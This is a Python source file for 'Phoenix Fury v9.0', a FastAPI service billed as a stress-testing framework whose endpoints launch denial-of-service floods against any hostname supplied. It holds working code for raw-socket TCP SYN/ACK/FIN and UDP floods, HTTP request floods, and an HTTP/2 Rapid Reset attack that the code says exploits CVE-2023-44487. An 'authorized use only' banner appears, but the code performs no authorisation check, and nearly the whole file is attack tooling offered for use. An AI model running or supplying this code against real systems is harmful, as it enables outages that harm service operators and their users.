|
|
""" |
|
|
🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework |
|
|
- HTTP/2 Rapid Reset Attack |
|
|
- Optimized L4/L7 with accurate metrics |
|
|
- Real-time statistics with proper rate calculation |
|
|
- Multi-protocol support |
|
|
|
|
|
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️ |
|
|
""" |
|
|
|
|
|
import os |
|
|
import sys |
|
|
import socket |
|
|
import time |
|
|
import threading |
|
|
import multiprocessing |
|
|
import random |
|
|
import struct |
|
|
import ssl |
|
|
from ctypes import c_ulonglong |
|
|
from typing import Literal, List, Union |
|
|
from collections import deque |
|
|
|
|
|
|
|
|
import uvicorn |
|
|
import psutil |
|
|
from fastapi import FastAPI, BackgroundTasks, HTTPException |
|
|
from pydantic import BaseModel, Field |
|
|
|
|
|
|
|
|
try: |
|
|
import h2.connection |
|
|
import h2.config |
|
|
import h2.events |
|
|
H2_AVAILABLE = True |
|
|
except ImportError: |
|
|
H2_AVAILABLE = False |
|
|
print("[WARN] h2 library not found. HTTP/2 Rapid Reset unavailable. Install: pip install h2") |
|
|
|
|
|
|
|
|
try: |
|
|
import uvloop |
|
|
uvloop.install() |
|
|
print("[INFO] uvloop activated for enhanced performance.") |
|
|
except ImportError: |
|
|
print("[INFO] uvloop not found. Using standard asyncio.") |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
CPU_COUNT = psutil.cpu_count(logical=True) or 8 |
|
|
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3) |
|
|
|
|
|
def calculate_optimal_config(): |
|
|
"""Calculate optimal configuration based on system resources.""" |
|
|
if CPU_COUNT >= 32: |
|
|
max_processes = CPU_COUNT * 3 |
|
|
requests_per_conn = 1000 |
|
|
elif CPU_COUNT >= 16: |
|
|
max_processes = CPU_COUNT * 4 |
|
|
requests_per_conn = 800 |
|
|
elif CPU_COUNT >= 8: |
|
|
max_processes = CPU_COUNT * 6 |
|
|
requests_per_conn = 600 |
|
|
elif CPU_COUNT >= 4: |
|
|
max_processes = CPU_COUNT * 8 |
|
|
requests_per_conn = 500 |
|
|
else: |
|
|
max_processes = CPU_COUNT * 10 |
|
|
requests_per_conn = 400 |
|
|
|
|
|
return max_processes, requests_per_conn |
|
|
|
|
|
MAX_PROCESSES, REQUESTS_PER_CONNECTION = calculate_optimal_config() |
|
|
STATS_UPDATE_INTERVAL = 0.5 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class BaseAttackConfig(BaseModel): |
|
|
target: str = Field(..., description="Target hostname or IP address") |
|
|
port: int = Field(..., ge=1, le=65535, description="Target port") |
|
|
duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds") |
|
|
|
|
|
class L4TCPConfig(BaseAttackConfig): |
|
|
method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn") |
|
|
|
|
|
class L4UDPConfig(BaseAttackConfig): |
|
|
method: Literal["flood"] = Field("flood") |
|
|
payload_size: int = Field(1024, ge=1, le=1472) |
|
|
|
|
|
class L7Config(BaseAttackConfig): |
|
|
method: Literal["get", "post", "head", "http2-rapid-reset"] = Field("get") |
|
|
path: str = Field("/") |
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
attack_active: bool |
|
|
attack_type: str |
|
|
target_host: str |
|
|
target_ip: str |
|
|
port: int |
|
|
duration: int |
|
|
elapsed_time: float |
|
|
processes: int |
|
|
total_sent: int |
|
|
current_rate_pps_rps: float |
|
|
average_rate: float |
|
|
cpu_usage_percent: float |
|
|
memory_usage_percent: float |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def check_root() -> bool: |
|
|
"""Check if running with root/admin privileges.""" |
|
|
try: |
|
|
return os.geteuid() == 0 |
|
|
except AttributeError: |
|
|
import ctypes |
|
|
return ctypes.windll.shell32.IsUserAnAdmin() != 0 |
|
|
|
|
|
def resolve_target(target: str) -> str: |
|
|
"""Resolve hostname to IP address.""" |
|
|
try: |
|
|
if "://" in target: |
|
|
target = target.split("://")[1].split("/")[0] |
|
|
return socket.gethostbyname(target) |
|
|
except socket.gaierror: |
|
|
raise ValueError(f"Could not resolve hostname: {target}") |
|
|
|
|
|
def get_local_ip(target_ip: str) -> str: |
|
|
"""Get local IP that routes to target.""" |
|
|
try: |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
s.connect((target_ip, 1)) |
|
|
ip = s.getsockname()[0] |
|
|
s.close() |
|
|
return ip |
|
|
except Exception: |
|
|
return "127.0.0.1" |
|
|
|
|
|
def calculate_checksum(data: bytes) -> int: |
|
|
"""Calculate IP/TCP/UDP checksum.""" |
|
|
s = 0 |
|
|
if len(data) % 2: |
|
|
data += b'\0' |
|
|
for i in range(0, len(data), 2): |
|
|
s += (data[i] << 8) + data[i+1] |
|
|
s = (s >> 16) + (s & 0xffff) |
|
|
s += (s >> 16) |
|
|
return (~s) & 0xffff |
|
|
|
|
|
def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes: |
|
|
"""Create raw IP header.""" |
|
|
header = struct.pack('!BBHHHBBH4s4s', |
|
|
(4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0, |
|
|
socket.inet_aton(src_ip), socket.inet_aton(dst_ip) |
|
|
) |
|
|
checksum = calculate_checksum(header) |
|
|
return header[:10] + struct.pack('!H', checksum) + header[12:] |
|
|
|
|
|
def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes: |
|
|
"""Create raw TCP header.""" |
|
|
seq = random.randint(1, 4294967295) |
|
|
ack_seq = 0 |
|
|
header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0) |
|
|
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header)) |
|
|
checksum = calculate_checksum(pseudo_header + header) |
|
|
return header[:16] + struct.pack('!H', checksum) + header[18:] |
|
|
|
|
|
def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes: |
|
|
"""Create raw UDP header.""" |
|
|
udp_len = 8 + len(payload) |
|
|
header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0) |
|
|
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len) |
|
|
checksum = calculate_checksum(pseudo_header + header + payload) |
|
|
return header[:6] + struct.pack('!H', checksum) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details): |
|
|
"""Ultra-optimized L4 worker.""" |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) |
|
|
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) |
|
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2 * 1024 * 1024) |
|
|
local_ip = get_local_ip(target_ip) |
|
|
except Exception as e: |
|
|
print(f"[Worker PID {os.getpid()}] L4 Init Error: {e}", file=sys.stderr) |
|
|
return |
|
|
|
|
|
local_counter = 0 |
|
|
batch_size = 100 |
|
|
flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32} |
|
|
|
|
|
if attack_type == 'udp': |
|
|
payload = os.urandom(method_details) |
|
|
udp_len = 8 + len(payload) |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
src_port = random.randint(10000, 65535) |
|
|
|
|
|
if attack_type == 'tcp': |
|
|
ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40) |
|
|
tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2)) |
|
|
packet = ip_header + tcp_header |
|
|
else: |
|
|
ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len) |
|
|
udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload) |
|
|
packet = ip_header + udp_header + payload |
|
|
|
|
|
sock.sendto(packet, (target_ip, port)) |
|
|
local_counter += 1 |
|
|
|
|
|
if local_counter >= batch_size: |
|
|
with shared_counter.get_lock(): |
|
|
shared_counter.value += local_counter |
|
|
local_counter = 0 |
|
|
except Exception: |
|
|
pass |
|
|
|
|
|
if local_counter > 0: |
|
|
with shared_counter.get_lock(): |
|
|
shared_counter.value += local_counter |
|
|
sock.close() |
|
|
|
|
|
def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn): |
|
|
"""Optimized HTTP/1.1 worker with pipelining.""" |
|
|
use_ssl = (port in [443, 8443]) |
|
|
http_methods = { |
|
|
"get": "GET", |
|
|
"post": "POST", |
|
|
"head": "HEAD" |
|
|
} |
|
|
http_method = http_methods.get(method.lower(), "GET") |
|
|
|
|
|
local_counter = 0 |
|
|
batch_size = 100 |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
sock = None |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) |
|
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512 * 1024) |
|
|
sock.settimeout(3) |
|
|
sock.connect((target_ip, port)) |
|
|
|
|
|
if use_ssl: |
|
|
context = ssl.create_default_context() |
|
|
context.check_hostname = False |
|
|
context.verify_mode = ssl.CERT_NONE |
|
|
sock = context.wrap_socket(sock, server_hostname=target_ip) |
|
|
|
|
|
|
|
|
for i in range(requests_per_conn): |
|
|
if stop_event.is_set(): |
|
|
break |
|
|
try: |
|
|
rand_param = random.randint(1, 999999) |
|
|
request = f"{http_method} {path}?r={rand_param} HTTP/1.1\r\nHost: {target_ip}\r\nUser-Agent: Phoenix/9.0\r\nConnection: keep-alive\r\n\r\n" |
|
|
sock.send(request.encode()) |
|
|
local_counter += 1 |
|
|
|
|
|
if local_counter >= batch_size: |
|
|
with shared_counter.get_lock(): |
|
|
shared_counter.value += local_counter |
|
|
local_counter = 0 |
|
|
except (socket.error, BrokenPipeError): |
|
|
break |
|
|
except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError): |
|
|
time.sleep(0.05) |
|
|
finally: |
|
|
if sock: |
|
|
try: |
|
|
sock.close() |
|
|
except Exception: |
|
|
pass |
|
|
|
|
|
if local_counter > 0: |
|
|
with shared_counter.get_lock(): |
|
|
shared_counter.value += local_counter |
|
|
|
|
|
def http2_rapid_reset_worker(stop_event, shared_counter, target_ip, port, path): |
|
|
""" |
|
|
HTTP/2 Rapid Reset Attack Worker |
|
|
|
|
|
This attack exploits CVE-2023-44487 by rapidly creating and resetting |
|
|
HTTP/2 streams, causing resource exhaustion on the server. |
|
|
""" |
|
|
if not H2_AVAILABLE: |
|
|
print(f"[Worker PID {os.getpid()}] HTTP/2 library not available", file=sys.stderr) |
|
|
return |
|
|
|
|
|
use_ssl = (port in [443, 8443]) |
|
|
local_counter = 0 |
|
|
batch_size = 100 |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
sock = None |
|
|
try: |
|
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) |
|
|
sock.settimeout(5) |
|
|
sock.connect((target_ip, port)) |
|
|
|
|
|
if use_ssl: |
|
|
context = ssl.create_default_context() |
|
|
context.check_hostname = False |
|
|
context.verify_mode = ssl.CERT_NONE |
|
|
context.set_alpn_protocols(['h2']) |
|
|
sock = context.wrap_socket(sock, server_hostname=target_ip) |
|
|
|
|
|
|
|
|
config = h2.config.H2Configuration(client_side=True) |
|
|
conn = h2.connection.H2Connection(config=config) |
|
|
conn.initiate_connection() |
|
|
sock.sendall(conn.data_to_send()) |
|
|
|
|
|
|
|
|
stream_id = 1 |
|
|
reset_count = 0 |
|
|
max_resets_per_conn = 1000 |
|
|
|
|
|
while not stop_event.is_set() and reset_count < max_resets_per_conn: |
|
|
try: |
|
|
|
|
|
headers = [ |
|
|
(':method', 'GET'), |
|
|
(':path', f'{path}?r={random.randint(1, 999999)}'), |
|
|
(':scheme', 'https' if use_ssl else 'http'), |
|
|
(':authority', target_ip), |
|
|
('user-agent', 'Phoenix-Fury/9.0'), |
|
|
] |
|
|
|
|
|
conn.send_headers(stream_id, headers) |
|
|
|
|
|
|
|
|
conn.reset_stream(stream_id, error_code=0x8) |
|
|
|
|
|
|
|
|
data = conn.data_to_send() |
|
|
if data: |
|
|
sock.sendall(data) |
|
|
|
|
|
local_counter += 1 |
|
|
reset_count += 1 |
|
|
stream_id += 2 |
|
|
|
|
|
|
|
|
if local_counter >= batch_size: |
|
|
with shared_counter.get_lock(): |
|
|
shared_counter.value += local_counter |
|
|
local_counter = 0 |
|
|
|
|
|
|
|
|
sock.setblocking(False) |
|
|
try: |
|
|
data = sock.recv(65536) |
|
|
if data: |
|
|
events = conn.receive_data(data) |
|
|
except (socket.error, BlockingIOError): |
|
|
pass |
|
|
sock.setblocking(True) |
|
|
|
|
|
except Exception: |
|
|
break |
|
|
|
|
|
except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError): |
|
|
time.sleep(0.1) |
|
|
except Exception as e: |
|
|
pass |
|
|
finally: |
|
|
if sock: |
|
|
try: |
|
|
sock.close() |
|
|
except Exception: |
|
|
pass |
|
|
|
|
|
if local_counter > 0: |
|
|
with shared_counter.get_lock(): |
|
|
shared_counter.value += local_counter |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class AttackManager: |
|
|
_instance = None |
|
|
|
|
|
def __new__(cls): |
|
|
if cls._instance is None: |
|
|
cls._instance = super(AttackManager, cls).__new__(cls) |
|
|
cls._instance._initialized = False |
|
|
return cls._instance |
|
|
|
|
|
def __init__(self): |
|
|
if self._initialized: |
|
|
return |
|
|
self._initialized = True |
|
|
self.lock = threading.Lock() |
|
|
self.stats_thread = None |
|
|
self._reset_state() |
|
|
|
|
|
def _reset_state(self): |
|
|
self.attack_active = False |
|
|
self.attack_type = "None" |
|
|
self.target_host = "None" |
|
|
self.target_ip = "None" |
|
|
self.port = 0 |
|
|
self.duration = 0 |
|
|
self.start_time = 0.0 |
|
|
self.process_count = 0 |
|
|
self.processes: List[multiprocessing.Process] = [] |
|
|
self.stop_event = multiprocessing.Event() |
|
|
self.counter = multiprocessing.Value(c_ulonglong, 0) |
|
|
self.current_rate = 0.0 |
|
|
self.rate_history = deque(maxlen=10) |
|
|
|
|
|
def is_active(self): |
|
|
with self.lock: |
|
|
return self.attack_active |
|
|
|
|
|
def _stats_calculator(self): |
|
|
"""Accurate real-time statistics calculator.""" |
|
|
last_count = 0 |
|
|
last_time = time.time() |
|
|
|
|
|
while not self.stop_event.is_set(): |
|
|
time.sleep(STATS_UPDATE_INTERVAL) |
|
|
|
|
|
current_time = time.time() |
|
|
current_count = self.counter.value |
|
|
|
|
|
time_delta = current_time - last_time |
|
|
count_delta = current_count - last_count |
|
|
|
|
|
if time_delta > 0: |
|
|
instant_rate = count_delta / time_delta |
|
|
self.rate_history.append(instant_rate) |
|
|
self.current_rate = sum(self.rate_history) / len(self.rate_history) |
|
|
|
|
|
last_count = current_count |
|
|
last_time = current_time |
|
|
|
|
|
self.current_rate = 0.0 |
|
|
|
|
|
def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str): |
|
|
with self.lock: |
|
|
if self.attack_active: |
|
|
raise HTTPException(status_code=409, detail="An attack is already in progress.") |
|
|
|
|
|
self._reset_state() |
|
|
|
|
|
try: |
|
|
self.target_host = config.target |
|
|
self.target_ip = resolve_target(self.target_host) |
|
|
if family == 'l4' and not check_root(): |
|
|
raise PermissionError("Layer 4 attacks require root privileges.") |
|
|
except (ValueError, PermissionError) as e: |
|
|
raise HTTPException(status_code=400, detail=str(e)) |
|
|
|
|
|
self.attack_active = True |
|
|
self.port = config.port |
|
|
self.duration = config.duration |
|
|
self.process_count = MAX_PROCESSES |
|
|
self.start_time = time.time() |
|
|
self.stop_event.clear() |
|
|
|
|
|
worker_target, worker_args, attack_name = (None, (), "Unknown") |
|
|
|
|
|
if family == 'l7' and isinstance(config, L7Config): |
|
|
if config.method == 'http2-rapid-reset': |
|
|
if not H2_AVAILABLE: |
|
|
raise HTTPException(status_code=400, detail="HTTP/2 library not installed. Run: pip install h2") |
|
|
attack_name = "L7-HTTP2-RAPID-RESET" |
|
|
worker_target = http2_rapid_reset_worker |
|
|
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path) |
|
|
else: |
|
|
attack_name = f"L7-{config.method.upper()}" |
|
|
worker_target = l7_worker_process |
|
|
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, REQUESTS_PER_CONNECTION) |
|
|
|
|
|
elif family == 'l4': |
|
|
worker_target = l4_worker_process |
|
|
if isinstance(config, L4TCPConfig): |
|
|
attack_name = f"L4-TCP-{config.method.upper()}" |
|
|
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method) |
|
|
elif isinstance(config, L4UDPConfig): |
|
|
attack_name = f"L4-UDP-{config.method.upper()}" |
|
|
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size) |
|
|
|
|
|
self.attack_type = attack_name |
|
|
|
|
|
print("\n" + "=" * 80) |
|
|
print(f"🔥 PHOENIX FURY v9.0 - ATTACK INITIATED 🔥") |
|
|
print(f" Type: {self.attack_type}") |
|
|
print(f" Target: {self.target_host}:{self.port} ({self.target_ip})") |
|
|
print(f" Duration: {self.duration}s") |
|
|
print(f" Processes: {self.process_count}") |
|
|
print("=" * 80 + "\n") |
|
|
|
|
|
for _ in range(self.process_count): |
|
|
p = multiprocessing.Process(target=worker_target, args=worker_args, daemon=True) |
|
|
self.processes.append(p) |
|
|
p.start() |
|
|
|
|
|
self.stats_thread = threading.Thread(target=self._stats_calculator, daemon=True) |
|
|
self.stats_thread.start() |
|
|
|
|
|
def stop(self): |
|
|
with self.lock: |
|
|
if not self.attack_active: |
|
|
return |
|
|
|
|
|
print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...") |
|
|
self.stop_event.set() |
|
|
|
|
|
for p in self.processes: |
|
|
p.join(timeout=3) |
|
|
|
|
|
for p in self.processes: |
|
|
if p.is_alive(): |
|
|
p.terminate() |
|
|
|
|
|
if self.stats_thread: |
|
|
self.stats_thread.join(timeout=2) |
|
|
|
|
|
elapsed = time.time() - self.start_time |
|
|
total_sent = self.counter.value |
|
|
avg_rate = total_sent / elapsed if elapsed > 0 else 0 |
|
|
|
|
|
print("\n" + "=" * 80) |
|
|
print("✅ ATTACK TERMINATED") |
|
|
print(f" Total Requests: {total_sent:,}") |
|
|
print(f" Elapsed Time: {elapsed:.2f}s") |
|
|
print(f" Average Rate: {avg_rate:,.2f} RPS/PPS") |
|
|
print("=" * 80 + "\n") |
|
|
|
|
|
self._reset_state() |
|
|
|
|
|
def get_status(self) -> StatusResponse: |
|
|
with self.lock: |
|
|
elapsed = time.time() - self.start_time if self.attack_active else 0 |
|
|
total = self.counter.value |
|
|
avg_rate = total / elapsed if elapsed > 0 else 0 |
|
|
|
|
|
return StatusResponse( |
|
|
attack_active=self.attack_active, |
|
|
attack_type=self.attack_type, |
|
|
target_host=self.target_host, |
|
|
target_ip=self.target_ip, |
|
|
port=self.port, |
|
|
duration=self.duration, |
|
|
elapsed_time=round(elapsed, 2), |
|
|
processes=self.process_count, |
|
|
total_sent=total, |
|
|
current_rate_pps_rps=round(self.current_rate, 2), |
|
|
average_rate=round(avg_rate, 2), |
|
|
cpu_usage_percent=psutil.cpu_percent(interval=0.1), |
|
|
memory_usage_percent=psutil.virtual_memory().percent |
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app = FastAPI( |
|
|
title="🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework", |
|
|
description="High-performance stress testing with HTTP/2 Rapid Reset. ⚠️ AUTHORIZED USE ONLY", |
|
|
version="9.0.0" |
|
|
) |
|
|
|
|
|
MANAGER = AttackManager() |
|
|
|
|
|
def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks): |
|
|
"""Handle attack lifecycle.""" |
|
|
MANAGER.start(config, family) |
|
|
|
|
|
def delayed_stop(): |
|
|
time.sleep(config.duration) |
|
|
MANAGER.stop() |
|
|
|
|
|
stop_thread = threading.Thread(target=delayed_stop, daemon=True) |
|
|
stop_thread.start() |
|
|
|
|
|
@app.on_event("startup") |
|
|
async def on_startup(): |
|
|
print("=" * 80) |
|
|
print(f"🔥 Phoenix Fury v9.0 API is ONLINE") |
|
|
print(f" System: {CPU_COUNT} CPU Cores, {TOTAL_RAM_GB:.1f} GB RAM") |
|
|
print(f" Config: {MAX_PROCESSES} Workers, {REQUESTS_PER_CONNECTION} L7 reqs/conn") |
|
|
print(f" HTTP/2: {'✅ ENABLED' if H2_AVAILABLE else '❌ DISABLED (pip install h2)'}") |
|
|
print(f" Root Access: {'✅ YES (L4 Available)' if check_root() else '⚠️ NO (L4 Unavailable)'}") |
|
|
print("=" * 80) |
|
|
|
|
|
@app.post("/attack/layer7", status_code=202) |
|
|
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks): |
|
|
run_attack_lifecycle(config, 'l7', background_tasks) |
|
|
return {"status": "accepted", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"} |
|
|
|
|
|
@app.post("/attack/layer4/tcp", status_code=202) |
|
|
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks): |
|
|
run_attack_lifecycle(config, 'l4', background_tasks) |
|
|
return {"status": "accepted", "message": f"L4 TCP {config.method.upper()} attack initiated"} |
|
|
|
|
|
@app.post("/attack/layer4/udp", status_code=202) |
|
|
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks): |
|
|
run_attack_lifecycle(config, 'l4', background_tasks) |
|
|
return {"status": "accepted", "message": f"L4 UDP attack initiated"} |
|
|
|
|
|
@app.post("/attack/stop") |
|
|
def api_stop_attack(): |
|
|
if not MANAGER.is_active(): |
|
|
return {"status": "info", "message": "No attack is currently running."} |
|
|
MANAGER.stop() |
|
|
return {"status": "success", "message": "Attack stopped successfully."} |
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def get_status(): |
|
|
return MANAGER.get_status() |
|
|
|
|
|
@app.get("/") |
|
|
def root(): |
|
|
return { |
|
|
"message": "🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework", |
|
|
"docs_url": "/docs", |
|
|
"status_url": "/status", |
|
|
"features": { |
|
|
"http2_rapid_reset": H2_AVAILABLE, |
|
|
"layer4_attacks": check_root(), |
|
|
"auto_optimized": True |
|
|
}, |
|
|
"system_info": { |
|
|
"cpu_cores": CPU_COUNT, |
|
|
"worker_processes": MAX_PROCESSES, |
|
|
"ram_gb": round(TOTAL_RAM_GB, 2) |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
multiprocessing.freeze_support() |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="info") |